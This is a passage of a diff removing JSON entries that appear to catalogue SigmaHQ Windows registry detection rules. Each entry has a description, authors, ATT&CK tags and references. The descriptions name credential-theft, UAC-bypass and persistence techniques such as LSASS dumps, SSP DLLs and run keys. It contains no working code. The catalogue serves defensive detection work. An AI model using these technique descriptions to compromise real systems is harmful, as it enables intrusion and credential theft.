"windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml", - "https://twitter.com/0gtweet/status/1182516740955226112" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ] - }, - "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044", - "value": "Disable Security Events Logging Adding Reg Key MiniNt" - }, - { - "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_disable_wdigest_credential_guard.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://teamhydra.blog/2020/08/25/bypassing-credential-guard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "1a2d6c47-75b0-45bd-b133-2c0be75349fd", - "value": "Wdigest CredGuard Registry Modification" - }, - { - "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_esentutl_volume_shadow_copy_service_keys.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "5aad0995-46ab-41bd-a9ff-724f41114971", - "value": "Esentutl Volume Shadow Copy Service Keys" - }, - { - "description": "Detects the use of Windows Credential Editor (WCE)", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/12/31", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_hack_wce_reg.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.ampliasecurity.com/research/windows-credentials-editor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0005" - ] - }, - "uuid": "a6b33c02-8305-488f-8585-03cb2a7763f2", - "value": "Windows Credential Editor Registry" - }, - { - "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_hybridconnectionmgr_svc_installation.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml", - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662" - ], - "tags": [ - "attack.resource_development", - "attack.t1608" - ] - }, - "uuid": "ac8866c7-ce44-46fd-8c17-b24acff96ca8", - "value": "HybridConnectionManager Service Installation" - }, - { - "description": "Detects the presence of a registry key created during Azorult execution", - "meta": { - "author": "Trent Liffick", - "creation_date": "2020/05/08", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_mal_azorult.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a" - ], - "tags": [ - "attack.execution", - "attack.t1112" - ] - }, - "uuid": "f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7", - "value": "Registry Entries For Azorult Malware" - }, - { - "description": "Detects FlowCloud malware from threat group TA410.", - "meta": { - "author": "NVISO", - "creation_date": "2020/06/09", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_mal_flowcloud.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ] - }, - "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", - "value": "FlowCloud Malware" - }, - { - "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", - "meta": { - "author": "Markus Neis, @markus_neis, Florian Roth", - "creation_date": "2021/07/04", - "falsepositive": [ - "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" - ], - "filename": "registry_event_mimikatz_printernightmare.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", - "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml", - "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf" - ], - "tags": [ - "attack.execution", - "attack.t1204", - "cve.2021.1675", - "cve.2021.34527" - ] - }, - "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", - "value": "PrinterNightmare Mimimkatz Driver Name" - }, - { - "description": "Detects value modification of registry key containing path to binary used as screensaver.", - "meta": { - "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "creation_date": "2020/10/11", - "falsepositive": [ - "Legitimate modification of screensaver" - ], - "filename": "registry_event_modify_screensaver_binary_path.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.002" - ] - }, - "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", - "value": "Path To Screensaver Binary Modified" - }, - { - "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", - "meta": { - "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_narrator_feedback_persistance.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", - "value": "Narrator's Feedback-Hub Persistence" - }, - { - "description": "Detects NetNTLM downgrade attack", - "meta": { - "author": "Florian Roth, wagga", - "creation_date": "2018/03/20", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_net_ntlm_downgrade.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml", - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1112" - ] - }, - "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", - "value": "NetNTLM Downgrade Attack" - }, - { - "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", - "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.009" - ] - }, - "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", - "value": "New DLL Added to AppCertDlls Registry Key" - }, - { - "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", - "meta": { - "author": "Ilyas Ochkov, oscd.community, Tim Shelton", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html" - ], - "tags": [ - "attack.persistence", - "attack.t1546.010" - ] - }, - "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", - "value": "New DLL Added to AppInit_DLLs Registry Key" - }, - { - "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", - "meta": { - "author": "omkar72", - "creation_date": "2020/10/25", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_event_office_test_regadd.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml", - "https://attack.mitre.org/techniques/T1137/002/" - ], - "tags": [ - "attack.persistence", - "attack.t1137.002" - ] - }, - "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", - "value": "Office Application Startup - Office Test" - }, - { - "description": "Detects persistence registry keys for Recycle Bin", - "meta": { - "author": "frack113", - "creation_date": "2021/11/18", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_persistence_recycle_bin.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ] - }, - "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", - "value": "Registry Persistence Mechanisms in Recycle Bin" - }, - { - "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/06/22", - "falsepositive": [ - "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", - "Synergy Software KVM (https://symless.com/synergy)" - ], - "filename": "registry_event_portproxy_registry_key.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.dfirnotes.net/portproxy_detection/", - "https://adepts.of0x.cc/netsh-portproxy-code/", - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", - "value": "PortProxy Registry Key" - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "meta": { - "author": "Alexander Rausch", - "creation_date": "2020/06/24", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_redmimicry_winnti_reg.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", - "value": "RedMimicry Winnti Playbook Registry Manipulation" - }, - { - "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", - "meta": { - "author": "omkar72", - "creation_date": "2020/10/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_runkey_winekey.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - ], - "tags": [ - "attack.persistence", - "attack.t1547" - ] - }, - "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", - "value": "WINEKEY Registry Modification" - }, - { - "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", - "meta": { - "author": "Avneet Singh @v3t0_, oscd.community", - "creation_date": "2020/11/15", - "falsepositive": [ - "Legitimate modification of the registry key by legitimate program" - ], - "filename": "registry_event_runonce_persistence.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml", - "https://twitter.com/pabraeken/status/990717080805789697" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", - "value": "Run Once Task Configuration in Registry" - }, - { - "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_shell_open_keys_manipulation.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", - "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", - "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1546.001" - ] - }, - "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", - "value": "Shell Open Registry Keys Manipulation" - }, - { - "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/26", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_event_silentprocessexit_lsass.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml", - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.007" - ] - }, - "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", - "value": "SilentProcessExit Monitor Registration for LSASS" - }, - { - "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", - "meta": { - "author": "iwillkeepwatch", - "creation_date": "2019/01/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_event_ssp_added_lsa_config.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.005" - ] - }, - "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", - "value": "Security Support Provider (SSP) Added to LSA Configuration" - }, - { - "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", - "meta": { - "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/15", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_event_stickykey_like_backdoor.yml", - "level": "critical", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml", - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.008", - "car.2014-11-003", - "car.2014-11-008" - ] - }, - "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", - "value": "Sticky Key Like Backdoor Usage" - }, - { - "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", - "meta": { - "author": "Mateusz Wydra, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Creation of non-default, legitimate at usage" - ], - "filename": "registry_event_susp_atbroker_change.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.persistence", - "attack.t1547" - ] - }, - "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", - "value": "Atbroker Registry Change" - }, - { - "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/01", - "falsepositive": [ - "Software installers downloaded and used by users" - ], - "filename": "registry_event_susp_download_run_key.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", - "value": "Suspicious Run Key from Download" - }, - { - "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/16", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_event_susp_lsass_dll_load.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1183745981189427200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml", - "https://blog.xpnsec.com/exploring-mimikatz-part-1/" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1547.008" - ] - }, - "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", - "value": "DLL Load via LSASS" - }, - { - "description": "Detects Processes accessing the camera and microphone from suspicious folder", - "meta": { - "author": "Den Iuzvyk", - "creation_date": "2020/06/07", - "falsepositive": [ - "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" - ], - "filename": "registry_event_susp_mic_cam_access.yml", - "level": "high", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml", - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072" - ], - "tags": [ - "attack.collection", - "attack.t1125", - "attack.t1123" - ] - }, - "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", - "value": "Suspicious Camera and Microphone Access" - }, - { - "description": "Alerts on trust record modification within the registry, indicating usage of macros", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "registry_event_trust_record_modification.yml", - "level": "medium", - "logsource.category": "registry_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml", - "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", - "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", - "value": "Windows Registry Trust Record Modification" - }, - { - "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", - "meta": { - "author": "Sreeman", - "creation_date": "2020/09/29", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_abusing_windows_telemetry_for_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_abusing_windows_telemetry_for_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112", - "attack.t1053" - ] - }, - "uuid": "4e8d5fd3-c959-441f-a941-f73d0cdcdca5", - "value": "Abusing Windows Telemetry For Persistence" - }, - { - "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_add_hidden_user.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ] - }, - "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", - "value": "User Account Hidden By Registry" - }, - { - "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", - "meta": { - "author": "frack113", - "creation_date": "2022/04/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_add_load_service_in_safe_mode.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", - "value": "Registry Persitence via Service in Safe Mode" - }, - { - "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_add_port_monitor.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ] - }, - "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", - "value": "Add Port Monitor Persistence in Registry" - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" - ], - "filename": "registry_set_aedebug_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/aedebug.html", - "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "092af964-4233-4373-b4ba-d86ea2890288", - "value": "Add Debugger Entry To AeDebug For Persistence" - }, - { - "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Legitmate use of the feature (alerts should be investigated either way)" - ], - "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", - "value": "Allow RDP Remote Assistance Feature" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_classes.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "9df5f547-c86a-433e-b533-f2794357e242", - "value": "Classes Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_common.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://persistence-info.github.io/Data/userinitmprlogonscript.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - 